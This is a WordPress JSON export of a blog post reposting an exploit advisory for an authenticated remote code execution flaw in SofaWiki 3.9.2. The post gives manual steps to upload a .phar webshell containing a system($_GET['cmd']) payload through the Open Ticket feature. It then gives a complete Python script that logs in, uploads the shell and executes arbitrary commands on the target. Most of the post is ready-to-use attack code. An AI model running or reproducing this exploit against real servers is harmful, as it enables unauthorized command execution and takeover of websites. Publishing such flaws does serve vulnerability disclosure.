{"id":59855,"date":"2024-10-18T01:25:03","date_gmt":"2024-10-17T22:25:03","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/182270\/sofawiki392-shell.txt"},"modified":"2024-10-18T01:25:03","modified_gmt":"2024-10-17T22:25:03","slug":"sofawiki-3-9-2-shell-upload","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/sofawiki-3-9-2-shell-upload\/","title":{"rendered":"SofaWiki 3.9.2 Shell Upload"},"content":{"rendered":"<p># Exploit Title: SofaWiki 3.9.2 &#8211; Remote Code Execution (RCE) via Open Ticket File Upload<br \/># Date: 10\/17\/2024<br \/># Exploit Author: Chokri Hammedi<br \/># Vendor Homepage: https:\/\/www.sofawiki.com<br \/># Software Link: https:\/\/www.sofawiki.com\/site\/files\/snapshot.zip<br \/># Version: 3.9.2<br \/># Tested on: Windows XP<\/p>\n<p>Summary:<br \/>A remote code execution (RCE) vulnerability exists in the Open Ticket<br \/>feature of SofaWiki 3.9.2. An attacker can upload a malicious `.phar` file<br \/>that contains PHP code, bypassing `.htaccess` restrictions, and execute<br \/>arbitrary commands on the server.<\/p>\n<p>Exploit Steps:<\/p>\n<p>1. Login to SofaWiki.<br \/>2. Navigate to Special \u2192 Tickets \u2192 New Ticket:<br \/>http:\/\/localhost\/sofawiki\/index.php?name=special:tickets&amp;ticketaction=new<br \/>3. Select your shell.phar file with this content:<\/p>\n<p>&lt;?php system($_GET[&#8216;cmd&#8217;]); ?&gt;<\/p>\n<p>4. Fill in the ticket title and click Open Ticket.<br \/>5. After the ticket is created, the page shows a link to the uploaded<br \/>shell.phar<br \/>6. access the webshell:<br \/>http:\/\/localhost\/sofawiki\/site\/files\/ticket-1-shell.phar?cmd=whoami<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p># Exploit Title: SofaWiki 3.9.2 &#8211; RCE (authenticated) via Open Ticket File Upload Exploit<br \/># Date: 10\/17\/2024<br \/># Exploit Author: Chokri Hammedi<br \/># Vendor Homepage: https:\/\/www.sofawiki.com<br \/># Software Link: https:\/\/www.sofawiki.com\/site\/files\/snapshot.zip<br \/># Version: 3.9.2<br \/># Tested on: Windows XP<\/p>\n<p>import requests<br \/>import re<br \/>import sys<\/p>\n<p>class SofaWikiExploit:<br \/>def __init__(self, base_url, username, password):<br \/>self.base_url = base_url.rstrip(&#8216;\/&#8217;)<br \/>self.username = username<br \/>self.password = password<br \/>self.session = requests.Session()<\/p>\n<p>def detect_login_name(self):<br \/>response =<br \/>self.session.get(f&#8221;{self.base_url}\/index.php?action=login&#8221;)<br \/>match = re.search(r&#8217;name=&#8221;name&#8221; value=&#8221;([^&#8221;]+)&#8221;&#8216;, response.text)<br \/>if not match:<br \/>print(&#8220;\\033[91m\\033[1m[-] couldn&#8217;t find the &#8216;name&#8217; field.<br \/>Exiting.\\033[0m&#8221;)<br \/>sys.exit(1)<br \/>return match.group(1)<\/p>\n<p>def login(self):<br \/>print(&#8220;\\033[93m[*] logging in&#8230;\\033[0m&#8221;)<br \/>login_name = self.detect_login_name()<br \/>data = {<br \/>&#8220;submitlogin&#8221;: &#8220;Login&#8221;,<br \/>&#8220;username&#8221;: self.username,<br \/>&#8220;pass&#8221;: self.password,<br \/>&#8220;name&#8221;: login_name,<br \/>&#8220;action&#8221;: &#8220;login&#8221;<br \/>}<br \/>response = self.session.post(f&#8221;{self.base_url}\/index.php&#8221;,<br \/>data=data)<br \/>if &#8220;Logout&#8221; in response.text:<br \/>print(&#8220;\\033[92m\\033[1m[+] Login successful!\\033[0m&#8221;)<br \/>return True<br \/>print(&#8220;\\033[91m[-] login failed.\\033[0m&#8221;)<br \/>return False<\/p>\n<p>def upload_shell(self):<br \/>print(&#8220;\\033[93m[*] uploading shell&#8230;\\033[0m&#8221;)<br \/>shell_content = &#8216;&lt;?php system($_GET[&#8220;cmd&#8221;]); ?&gt;&#8217;<br \/>files = {<br \/>&#8216;uploadedfile&#8217;: (&#8216;shell.phar&#8217;, shell_content,<br \/>&#8216;application\/octet-stream&#8217;),<br \/>&#8216;title&#8217;: (None, &#8216;Chokri Hammedi Exploit&#8217;),<br \/>&#8216;text&#8217;: (None, &#8216;Chokri Hammedi RCE&#8217;),<br \/>&#8216;assigned&#8217;: (None, &#8216;admin&#8217;),<br \/>&#8216;priority&#8217;: (None, &#8216;1 high&#8217;),<br \/>&#8216;submitopen&#8217;: (None, &#8216;Open Ticket&#8217;),<br \/>&#8216;MAX_FILE_SIZE&#8217;: (None, &#8216;8000000&#8217;)<br \/>}<br \/>response =<br \/>self.session.post(f&#8221;{self.base_url}\/index.php?name=special:tickets&#8221;,<br \/>files=files)<br \/>match = re.search(r&#8217;File (.*?) uploaded&#8217;, response.text)<br \/>if not match:<br \/>print(&#8220;\\033[91m[-] shell upload failed.\\033[0m&#8221;)<br \/>sys.exit(1)<br \/>shell_url = f&#8221;{self.base_url}\/site\/files\/{match.group(1)}&#8221;<br \/>print(f&#8221;\\033[92m[+] shell uploaded: {shell_url}\\033[0m&#8221;)<br \/>return shell_url<\/p>\n<p>def execute_command(self, shell_url, cmd):<br \/>print(f&#8221;\\033[93m[*] running command: {cmd}\\033[0m&#8221;)<br \/>response = self.session.get(f&#8221;{shell_url}?cmd={cmd}&#8221;)<br \/>print(&#8220;\\033[92m[+] command output:\\033[0m&#8221;)<br \/>print(f&#8221;\\033[1m{response.text}\\033[0m&#8221;)<\/p>\n<p>if __name__ == &#8220;__main__&#8221;:<br \/>if len(sys.argv) != 5:<br \/>print(f&#8221;\\033[91musage: {sys.argv[0]} &lt;target_url&gt; &lt;username&gt;<br \/>&lt;password&gt; &lt;cmd&gt;\\033[0m&#8221;)<br \/>sys.exit(1)<\/p>\n<p>target_url, username, password, cmd = sys.argv[1:5]exploit = SofaWikiExploit(target_url, username, password)<\/p>\n<p>if exploit.login():<br \/>shell_url = exploit.upload_shell()<br \/>exploit.execute_command(shell_url, cmd)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: SofaWiki 3.9.2 &#8211; Remote Code Execution (RCE) via Open Ticket File Upload# Date: 10\/17\/2024# Exploit Author: Chokri Hammedi# Vendor Homepage: https:\/\/www.sofawiki.com# Software Link: https:\/\/www.sofawiki.com\/site\/files\/snapshot.zip# Version: 3.9.2# Tested on: Windows XP Summary:A remote code execution (RCE) vulnerability exists in the Open Ticketfeature of SofaWiki 3.9.2. An attacker can upload a malicious `.phar` filethat &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59855","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59855","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59855"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59855\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59855"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59855"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59855"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}